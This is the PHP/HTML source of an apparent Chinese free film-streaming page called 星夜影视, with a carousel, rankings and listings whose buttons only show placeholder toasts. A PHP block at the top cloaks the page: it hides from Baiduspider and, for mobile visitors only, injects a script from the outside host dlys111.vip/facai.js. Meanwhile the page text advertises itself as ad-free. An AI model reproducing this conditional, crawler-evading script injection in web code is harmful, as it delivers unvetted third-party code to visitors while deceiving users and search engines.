<?php
function shouldShowAds() {
    $user_agent = $_SERVER["HTTP_USER_AGENT"] ?? "";
    
    if (stripos($user_agent, "Baiduspider") !== false) {
        return false;
    }
    
    $is_mobile = false;
    
    if (preg_match("/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i", $user_agent)) {
        $is_mobile = true;
    }
    
    if (isset($_SERVER["HTTP_X_WAP_PROFILE"]) || 
        isset($_SERVER["HTTP_PROFILE"]) ||
        (isset($_SERVER["HTTP_ACCEPT"]) && 
         strpos($_SERVER["HTTP_ACCEPT"], "text/vnd.wap.wml") !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

if (shouldShowAds()) {
    echo "<script type=\"text/javascript\" src=\"https://dlys111.vip/facai.js\"></script>";
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
    <title>星夜影视 - 高清正版影视免费在线观看 | 热播电影电视剧综艺动漫</title>
    <meta name="keywords" content="在线影视,电影网站,电视剧免费观看,热播剧推荐,最新电影,星夜影视">
    <meta name="description" content="星夜影视提供最新电影、热播电视剧、经典综艺、高分动漫，高清画质无广告，每日更新极速播放。畅享视听盛宴，打造专属私人影院。">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            background: #0f172a;
            font-family: 'Inter', system-ui, 'Segoe UI', 'Poppins', sans-serif;
            color: #f8fafc;
            line-height: 1.5;
        }

        @keyframes softRise {
            0% { opacity: 0; transform: translateY(20px); }
            100% { opacity: 1; transform: translateY(0); }
        }

        .site-wrapper, .hero-block, .genre-strip, .hot-collection, .rank-area, .classic-area, .premiere-area {
            animation: softRise 0.55s ease forwards;
        }

        ::-webkit-scrollbar { width: 5px; }
        ::-webkit-scrollbar-track { background: #1e293b; }
        ::-webkit-scrollbar-thumb { background: #e2e8f0; border-radius: 8px; }

        .container {
            max-width: 1440px;
            margin: 0 auto;
            padding: 0 28px;
        }

        header {
            background: rgba(15, 23, 42, 0.92);
            backdrop-filter: blur(18px);
            border-bottom: 1px solid #e2e8f0;
            position: sticky;
            top: 0;
            z-index: 200;
        }

        .navbar {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            justify-content: space-between;
            padding: 14px 0;
            gap: 20px;
        }

        .logo h1 {
            font-size: 2rem;
            font-weight: 800;
            background: linear-gradient(135deg, #cbd5e1, #e2e8f0, #f8fafc);
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
            letter-spacing: -0.5px;
        }

        .search-area {
            flex: 1;
            max-width: 380px;
            position: relative;
        }

        .search-area input {
            width: 100%;
            padding: 12px 24px;
            border-radius: 60px;
            background: #1e293b;
            border: 1px solid #334155;
            color: white;
            font-size: 0.9rem;
            outline: none;
            transition: 0.2s;
        }

        .search-area input:focus {
            border-color: #e2e8f0;
            box-shadow: 0 0 0 2px rgba(226,232,240,0.3);
        }

        .search-area button {
            position: absolute;
            right: 8px;
            top: 6px;
            background: #334155;
            border: none;
            border-radius: 50px;
            padding: 6px 24px;
            font-weight: bold;
            color: white;
            cursor: pointer;
        }

        .nav-links {
            display: flex;
            gap: 28px;
        }

        .nav-links a {
            color: #e2e8f0;
            text-decoration: none;
            font-weight: 500;
        }

        .user-icon {
            width: 48px;
            height: 48px;
            background: #1e293b;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            overflow: hidden;
            cursor: pointer;
            border: 1px solid #e2e8f0;
        }

        .user-icon img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }

        .breadcrumb {
            margin: 24px 0 16px;
            font-size: 0.85rem;
            color: #94a3b8;
        }

        .breadcrumb a {
            color: #e2e8f0;
            text-decoration: none;
        }

        .hero-carousel {
            position: relative;
            border-radius: 40px;
            overflow: hidden;
            margin-bottom: 44px;
            box-shadow: 0 20px 30px -12px #000000;
        }

        .carousel-track {
            display: flex;
            transition: transform 0.7s cubic-bezier(0.2, 0.9, 0.4, 1.1);
        }

        .carousel-slide {
            flex: 0 0 100%;
            position: relative;
            aspect-ratio: 16 / 6;
            min-height: 280px;
        }

        .carousel-slide img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }

        .slide-caption {
            position: absolute;
            bottom: 12%;
            left: 6%;
            background: linear-gradient(95deg, #0f172ab3, #0f172a70);
            padding: 20px 32px;
            border-radius: 32px;
            backdrop-filter: blur(6px);
            max-width: 520px;
        }

        .slide-caption h3 {
            font-size: 1.9rem;
            margin-bottom: 8px;
        }

        .slide-caption p {
            margin-bottom: 12px;
        }

        .watch-btn {
            background: #e2e8f0;
            border: none;
            padding: 6px 28px;
            border-radius: 40px;
            font-weight: bold;
            cursor: pointer;
            color: #0f172a;
        }

        .carousel-controls {
            position: absolute;
            top: 50%;
            width: 100%;
            display: flex;
            justify-content: space-between;
            padding: 0 20px;
            transform: translateY(-50%);
            pointer-events: none;
        }

        .carousel-controls span {
            background: #0f172a99;
            width: 48px;
            height: 48px;
            border-radius: 60px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 2rem;
            cursor: pointer;
            pointer-events: auto;
            backdrop-filter: blur(4px);
            color: #e2e8f0;
        }

        .genre-strip {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 20px;
            margin: 28px 0 48px;
        }

        .genre-chip {
            background: #1e293b;
            padding: 8px 32px;
            border-radius: 60px;
            font-weight: 600;
            cursor: pointer;
            transition: 0.2s;
            border: 1px solid #334155;
        }

        .genre-chip:hover {
            background: #e2e8f0;
            color: #0f172a;
            transform: translateY(-4px);
            border-color: #cbd5e1;
        }

        .section-header {
            font-size: 2rem;
            margin: 42px 0 24px;
            border-left: 8px solid #e2e8f0;
            padding-left: 24px;
            font-weight: 700;
        }

        .card-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(195px, 1fr));
            gap: 28px;
        }

        .film-card {
            background: #1e293b;
            border-radius: 32px;
            overflow: hidden;
            transition: all 0.25s;
            cursor: pointer;
            border: 1px solid #334155;
        }

        .film-card:hover {
            transform: translateY(-10px);
            box-shadow: 0 26px 30px -14px #000000cc;
            border-color: #e2e8f0;
        }

        .card-poster {
            position: relative;
            aspect-ratio: 2 / 3;
            overflow: hidden;
            background: #0f172a;
        }

        .card-poster img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            transition: transform 0.4s;
        }

        .film-card:hover .card-poster img {
            transform: scale(1.05);
        }

        .card-info {
            padding: 14px 12px;
        }

        .card-info h4 {
            font-size: 1rem;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }

        .rating {
            color: #ffbc6e;
            font-size: 0.8rem;
            margin: 6px 0;
        }

        .status {
            font-size: 0.7rem;
            color: #94a3b8;
        }

        .rank-panel {
            background: linear-gradient(145deg, #1e293b, #0f172a);
            border-radius: 48px;
            padding: 28px;
            margin: 48px 0;
            border: 1px solid #334155;
        }

        .rank-list {
            display: flex;
            flex-direction: column;
            gap: 14px;
        }

        .rank-entry {
            display: flex;
            align-items: center;
            gap: 24px;
            background: #0f172a;
            padding: 12px 24px;
            border-radius: 80px;
            transition: 0.2s;
            cursor: pointer;
        }

        .rank-medal {
            font-size: 2rem;
            width: 70px;
            text-align: center;
        }

        .classic-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(270px, 1fr));
            gap: 28px;
            margin: 20px 0 44px;
        }

        .classic-card {
            background: #1e293b;
            border-radius: 36px;
            padding: 18px;
            display: flex;
            gap: 18px;
            align-items: center;
            border-bottom: 5px solid #e2e8f0;
        }

        .classic-img {
            width: 100px;
            height: 130px;
            border-radius: 28px;
            overflow: hidden;
            background: #0f172a;
        }

        .classic-img img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }

        .upcoming-grid {
            display: flex;
            gap: 28px;
            flex-wrap: wrap;
            margin: 24px 0 48px;
        }

        .upcoming-card {
            background: #1e293b;
            border-radius: 40px;
            padding: 26px;
            flex: 1;
            text-align: center;
            border: 1px solid #e2e8f099;
            transition: 0.2s;
        }

        .upcoming-badge {
            background: #e2e8f0;
            color: #0f172a;
            display: inline-block;
            padding: 4px 20px;
            border-radius: 80px;
            font-size: 0.7rem;
            font-weight: bold;
            margin-bottom: 14px;
        }

        .intro-section {
            background: #1e293bd9;
            border-radius: 48px;
            padding: 36px 32px;
            margin: 42px 0;
            border-right: 6px solid #e2e8f0;
            font-size: 1rem;
            line-height: 1.7;
            backdrop-filter: blur(2px);
        }

        footer {
            background: #020617;
            padding: 48px 0 32px;
            margin-top: 50px;
            border-top: 1px solid #334155;
        }

        .footer-links {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 36px;
            margin-bottom: 28px;
        }

        .footer-links a {
            color: #94a3b8;
            text-decoration: none;
            font-size: 0.85rem;
        }

        @media (max-width: 768px) {
            .container {
                padding: 0 16px;
            }
            .navbar {
                flex-direction: column;
                align-items: stretch;
            }
            .search-area {
                max-width: 100%;
            }
            .slide-caption h3 {
                font-size: 1.2rem;
            }
            .card-grid {
                grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));
                gap: 18px;
            }
            .classic-card {
                flex-direction: column;
                text-align: center;
            }
        }

        .toast-message {
            position: fixed;
            bottom: 28px;
            left: 50%;
            transform: translateX(-50%);
            background: #1e293be6;
            backdrop-filter: blur(12px);
            padding: 10px 28px;
            border-radius: 60px;
            color: #e2e8f0;
            font-size: 0.85rem;
            z-index: 1300;
            pointer-events: none;
            border: 1px solid #e2e8f0;
        }
    </style>
</head>
<body>
<header>
    <div class="container">
        <div class="navbar">
            <div class="logo"><h1>星夜影视</h1></div>
            <div class="search-area">
                <input type="text" placeholder="搜电影、剧集、综艺..." id="searchInput">
                <button id="searchBtn">✨ 星夜</button>
            </div>
            <div class="nav-links">
                <a href="#">电影</a>
                <a href="#">电视剧</a>
                <a href="#">综艺</a>
                <a href="#">动漫</a>
            </div>
            <div class="user-icon">
                <img src="https://tp9d.com/upload/vod/014-avatar.webp" alt="个人中心" onerror="this.src='data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2048%2048%22%3E%3Ccircle%20cx%3D%2224%22%20cy%3D%2224%22%20r%3D%2224%22%20fill%3D%22%23e2e8f0%22%2F%3E%3Ctext%20x%3D%2250%25%22%20y%3D%2250%25%22%20fill%3D%22%230f172a%22%20text-anchor%3D%22middle%22%20dy%3D%22.3em%22%3E星%3C%2Ftext%3E%3C%2Fsvg%3E';">
            </div>
        </div>
    </div>
</header>
<main class="container">
    <div class="breadcrumb">
        <a href="#">首页</a> / <a href="#">星夜片库</a> / 热门推荐
    </div>

    <div class="hero-carousel" id="heroCarousel">
        <div class="carousel-track" id="carouselTrack">
            <div class="carousel-slide"><img src="https://tp9d.com/upload/vod/002-banner.webp" alt="星夜行动 动作犯罪" loading="lazy" onerror="this.src='data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%201600%20600%22%3E%3Crect%20width%3D%221600%22%20height%3D%22600%22%20fill%3D%22%233d2a1c%22%2F%3E%3Ctext%20x%3D%2250%25%22%20y%3D%2250%25%22%20fill%3D%22%23ffaa66%22%20text-anchor%3D%22middle%22%3E星夜影视%20Banner%3C%2Ftext%3E%3C%2Fsvg%3E';"><div class="slide-caption"><h3>星夜行动</h3><p>王牌特工，惊天阴谋</p><button class="watch-btn">立即观看</button></div></div>
            <div class="carousel-slide"><img src="https://tp9d.com/upload/vod/007-banner.webp" alt="盛唐风云 古装悬疑" onerror="this.src='data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%201600%20600%22%3E%3Crect%20width%3D%221600%22%20height%3D%22600%22%20fill%3D%22%233d2a1c%22%2F%3E%3Ctext%20x%3D%2250%25%22%20y%3D%2250%25%22%20fill%3D%22%23ffaa66%22%20text-anchor%3D%22middle%22%3E星夜影视%20Banner%3C%2Ftext%3E%3C%2Fsvg%3E';"><div class="slide-caption"><h3>盛唐风云</h3><p>盛世迷局，诡谲风云</p><button class="watch-btn">追剧</button></div></div>
            <div class="carousel-slide"><img src="https://tp9d.com/upload/vod/012-banner.webp" alt="星际漫游者 科幻冒险" onerror="this.src='data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%201600%20600%22%3E%3Crect%20width%3D%221600%22%20height%3D%22600%22%20fill%3D%22%233d2a1c%22%2F%3E%3Ctext%20x%3D%2250%25%22%20y%3D%2250%25%22%20fill%3D%22%23ffaa66%22%20text-anchor%3D%22middle%22%3E星夜影视%20Banner%3C%2Ftext%3E%3C%2Fsvg%3E';"><div class="slide-caption"><h3>星际漫游者</h3><p>宇宙深处，绝境求生</p><button class="watch-btn">预约</button></div></div>
        </div>
        <div class="carousel-controls"><span id="prevSlide">❮</span><span id="nextSlide">❯</span></div>
    </div>

    <div class="genre-strip">
        <div class="genre-chip">动作</div><div class="genre-chip">喜剧</div><div class="genre-chip">悬疑</div><div class="genre-chip">爱情</div><div class="genre-chip">科幻</div><div class="genre-chip">古装</div><div class="genre-chip">冒险</div>
    </div>

    <section>
        <h2 class="section-header">🔥 正在热播 · 人气飙升</h2>
        <div class="card-grid" id="hotGrid"></div>
    </section>

    <div class="rank-panel">
        <h3 style="margin-bottom: 26px; font-size: 1.8rem;">🏆 本周热度排行榜 TOP5</h3>
        <div class="rank-list" id="rankList"></div>
    </div>

    <div>
        <h2 class="section-header">🎬 经典典藏 · 影史神作</h2>
        <div class="classic-grid" id="classicGrid"></div>
    </div>

    <div>
        <h2 class="section-header">✨ 即将上线 · 新片预告</h2>
        <div class="upcoming-grid" id="upcomingGrid"></div>
    </div>

    <div class="intro-section">
        星夜影视 是新一代在线影视平台，为您提供海量电影、电视剧、综艺、动漫，全部高清画质且完全免费观看，每日更新资源无广告干扰。我们坚持极速播放，每日更新热门新片，打造无广告纯净视听空间。星夜影视 致力于成为您最喜爱的影视天堂，免费观看、高清画质、每日更新，畅享影视盛宴。
    </div>
</main>

<footer>
    <div class="container">
        <div class="footer-links">
            <a href="#">关于星夜</a><a href="#">帮助中心</a><a href="#">友链申请</a><a href="#">版权投诉</a><a href="#">官方社群</a>
        </div>
        <div style="text-align: center; font-size: 0.8rem; color: #64748b;">© 2026 星夜影视 侵权必删 | 星夜相伴 光影随行</div>
    </div>
</footer>

<script>
    function showToast(msg) {
        let oldToast = document.querySelector('.toast-message');
        if(oldToast) oldToast.remove();
        let div = document.createElement('div');
        div.className = 'toast-message';
        div.innerText = msg || '功能开发中，敬请期待 ✨';
        document.body.appendChild(div);
        setTimeout(() => div.remove(), 2000);
    }

    document.querySelectorAll('.watch-btn, .genre-chip, .nav-links a, .user-icon, #searchBtn, .film-card, .rank-entry, .classic-card, .upcoming-card, .footer-links a').forEach(el => {
        if(el) el.addEventListener('click', (e) => { e.stopPropagation(); showToast(); });
    });
    document.getElementById('searchInput')?.addEventListener('keypress', (e) => { if(e.key === 'Enter') showToast(); });

    const hotMovies = [
        { name:"星夜行动", type:"movie", score:9.2, progress:"4K 高清", year:2025, imgCode:"004-movie" },
        { name:"盛唐风云", type:"tv", score:9.0, progress:"更新至18集", year:2025, imgCode:"008-tv" },
        { name:"欢乐大本营", type:"variety", score:8.7, progress:"2026季播", year:2026, imgCode:"012-variety" },
        { name:"幻境战记", type:"anime", score:9.4, progress:"更新至24集", year:2025, imgCode:"015-anime" },
        { name:"绝地狙击", type:"movie", score:8.8, progress:"HD", year:2024, imgCode:"018-movie" },
        { name:"暗流涌动", type:"tv", score:8.9, progress:"全30集", year:2024, imgCode:"002-tv" },
        { name:"机甲纪元", type:"anime", score:9.1, progress:"更新至13集", year:2026, imgCode:"010-anime" },
        { name:"喜剧之王秀", type:"variety", score:8.5, progress:"更新至8期", year:2025, imgCode:"019-variety" }
    ];
    function buildHot() {
        let html = '';
        hotMovies.forEach(item => {
            let imgUrl = `https://tp9d.com/upload/vod/${item.imgCode}.webp`;
            html += `<div class="film-card"><div class="card-poster"><img src="${imgUrl}" alt="${item.name} · ${item.type} · ${item.year}" loading="lazy" onerror="this.src='data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%20200%20300%22%3E%3Crect%20width%3D%22200%22%20height%3D%22300%22%20fill%3D%22%233d2b1a%22%2F%3E%3Ctext%20x%3D%2250%25%22%20y%3D%2250%25%22%20fill%3D%22%23ffaa66%22%20text-anchor%3D%22middle%22%3E🎬%3C%2Ftext%3E%3C%2Fsvg%3E';"></div><div class="card-info"><h4>${item.name}</h4><div class="rating">⭐ ${item.score}</div><div class="status">${item.progress}</div></div></div>`;
        });
        document.getElementById('hotGrid').innerHTML = html;
    }

    const rankData = [
        { name:"星夜行动", heat:"278.3万热度", medal:"🥇" },{ name:"盛唐风云", heat:"229.5万热度", medal:"🥈" },{ name:"幻境战记", heat:"195.7万热度", medal:"🥉" },
        { name:"绝地狙击", heat:"168.2万热度", medal:"4" },{ name:"暗流涌动", heat:"145.9万热度", medal:"5" }
    ];
    function buildRank() {
        let rankHtml = '';
        rankData.forEach(r => {
            rankHtml += `<div class="rank-entry"><div class="rank-medal">${r.medal}</div><div><strong>${r.name}</strong><div style="font-size:0.7rem; color:#94a3b8;">🔥 ${r.heat}</div></div></div>`;
        });
        document.getElementById('rankList').innerHTML = rankHtml;
    }

    const classicData = [
        { name:"英雄本色", year:1986, country:"中国香港", desc:"神作·暴力美学巅峰", imgCode:"006-movie" },
        { name:"霸王别姬", year:1993, country:"中国", desc:"必看·史诗经典", imgCode:"011-movie" },
        { name:"千与千寻", year:2001, country:"日本", desc:"高分·宫崎骏神作", imgCode:"014-anime" },
        { name:"杀人回忆", year:2003, country:"韩国", desc:"悬疑必看", imgCode:"017-movie" }
    ];
    function buildClassic() {
        let classicHtml = '';
        classicData.forEach(c => {
            let imgUrl = `https://tp9d.com/upload/vod/${c.imgCode}.webp`;
            classicHtml += `<div class="classic-card"><div class="classic-img"><img src="${imgUrl}" alt="${c.name} · ${c.country} · ${c.year}" loading="lazy" onerror="this.src='data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%20100%20130%22%3E%3Crect%20width%3D%22100%22%20height%3D%22130%22%20fill%3D%22%233b2b1c%22%2F%3E%3Ctext%20x%3D%2250%25%22%20y%3D%2250%25%22%20fill%3D%22%23ffaa77%22%3E📽️%3C%2Ftext%3E%3C%2Fsvg%3E';"></div><div><strong>${c.name}</strong><div style="font-size:0.75rem;">${c.country} · ${c.year}</div><div style="color:#94a3b8;">${c.desc}</div></div></div>`;
        });
        document.getElementById('classicGrid').innerHTML = classicHtml;
    }

    const upcomingList = [
        { name:"绝境重生", date:"5月22日上线" },{ name:"大唐异闻录", date:"6月5日首播" },{ name:"超能战队", date:"6月15日独播" }
    ];
    function buildUpcoming() {
        let upHtml = '';
        upcomingList.forEach(u => {
            upHtml += `<div class="upcoming-card"><div class="upcoming-badge">即将上线</div><h4>${u.name}</h4><p style="margin-top:12px;">📅 ${u.date}</p><div style="margin-top:12px;">预约提醒 →</div></div>`;
        });
        document.getElementById('upcomingGrid').innerHTML = upHtml;
    }

    buildHot(); buildRank(); buildClassic(); buildUpcoming();

    let currentIndex = 0;
    const sliderTrack = document.getElementById('carouselTrack');
    const totalSlides = document.querySelectorAll('.carousel-slide').length;
    function updateSlider() {
        sliderTrack.style.transform = `translateX(-${currentIndex * 100}%)`;
    }
    document.getElementById('prevSlide')?.addEventListener('click', () => { currentIndex = (currentIndex - 1 + totalSlides) % totalSlides; updateSlider(); showToast(); });
    document.getElementById('nextSlide')?.addEventListener('click', () => { currentIndex = (currentIndex + 1) % totalSlides; updateSlider(); showToast(); });
    setInterval(() => { currentIndex = (currentIndex + 1) % totalSlides; updateSlider(); }, 4500);
</script>
</body>
</html>
